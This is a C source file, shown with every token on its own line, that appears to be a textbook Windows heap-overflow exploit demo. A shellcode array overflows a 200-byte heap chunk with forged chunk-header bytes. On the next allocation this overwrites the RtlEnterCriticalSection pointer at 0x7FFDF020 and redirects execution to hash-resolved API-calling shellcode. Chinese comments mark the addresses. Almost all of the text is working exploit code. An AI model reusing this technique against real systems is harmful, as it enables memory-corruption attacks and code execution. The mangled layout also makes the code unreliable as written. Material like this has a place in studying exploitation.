char shellcode[]
=
{
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0xB8
,
0x20
,
0xF0
,
0xFD
,
0x7F
,
/
/
MOV EAX,
7FFDF020
0xBB
,
0x60
,
0x20
,
0xF8
,
0x77
,
/
/
MOV EBX,
77F82060
;这个地址需要调试时确定
0x89
,
0x18
,
/
/
MOV [EAX],EBX
0xFC
,
0x68
,
0x6A
,
0x0A
,
0x38
,
0x1E
,
0x68
,
0x63
,
0x89
,
0xD1
,
0x4F
,
0x68
,
0x32
,
0x74
,
0x91
,
0x0C
,
0x8B
,
0xF4
,
0x8D
,
0x7E
,
0xF4
,
0x33
,
0xDB
,
0xB7
,
0x04
,
0x2B
,
0xE3
,
0x66
,
0xBB
,
0x33
,
0x32
,
0x53
,
0x68
,
0x75
,
0x73
,
0x65
,
0x72
,
0x54
,
0x33
,
0xD2
,
0x64
,
0x8B
,
0x5A
,
0x30
,
0x8B
,
0x4B
,
0x0C
,
0x8B
,
0x49
,
0x1C
,
0x8B
,
0x09
,
0x8B
,
0x69
,
0x08
,
0xAD
,
0x3D
,
0x6A
,
0x0A
,
0x38
,
0x1E
,
0x75
,
0x05
,
0x95
,
0xFF
,
0x57
,
0xF8
,
0x95
,
0x60
,
0x8B
,
0x45
,
0x3C
,
0x8B
,
0x4C
,
0x05
,
0x78
,
0x03
,
0xCD
,
0x8B
,
0x59
,
0x20
,
0x03
,
0xDD
,
0x33
,
0xFF
,
0x47
,
0x8B
,
0x34
,
0xBB
,
0x03
,
0xF5
,
0x99
,
0x0F
,
0xBE
,
0x06
,
0x3A
,
0xC4
,
0x74
,
0x08
,
0xC1
,
0xCA
,
0x07
,
0x03
,
0xD0
,
0x46
,
0xEB
,
0xF1
,
0x3B
,
0x54
,
0x24
,
0x1C
,
0x75
,
0xE4
,
0x8B
,
0x59
,
0x24
,
0x03
,
0xDD
,
0x66
,
0x8B
,
0x3C
,
0x7B
,
0x8B
,
0x59
,
0x1C
,
0x03
,
0xDD
,
0x03
,
0x2C
,
0xBB
,
0x95
,
0x5F
,
0xAB
,
0x57
,
0x61
,
0x3D
,
0x6A
,
0x0A
,
0x38
,
0x1E
,
0x75
,
0xA9
,
0x33
,
0xDB
,
0x53
,
0x68
,
0x66
,
0x66
,
0x66
,
0x66
,
0x68
,
0x66
,
0x66
,
0x66
,
0x66
,
0x8B
,
0xC4
,
0x53
,
0x50
,
0x50
,
0x53
,
0xFF
,
0x57
,
0xFC
,
0x53
,
0xFF
,
0x57
,
0xF8
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x90
,
0x16
,
0x01
,
0x1A
,
0x00
,
0x00
,
0x10
,
0x00
,
0x00
,
/
/
块首信息
0x88
,
0x06
,
0x37
,
0x00
,
/
/
shellcode地址
0x20
,
0xF0
,
0xFD
,
0x7F
/
/
RtlEnterCriticalSection函数指针地址
};
int
main(){
HLOCAL h1
=
0
,h2
=
0
;
HANDLE hp;
hp
=
HeapCreate(
0
,
0x1000
,
0x10000
);
h1
=
HeapAlloc(hp,HEAP_ZERO_MEMORY,
200
);
/
/
__asm
int
3
memcpy(h1,shellcode,
0x200
);
h2
=
HeapAlloc(hp,HEAP_ZERO_MEMORY,
8
);
/
/
DWORD SHOOT
return
0
;
}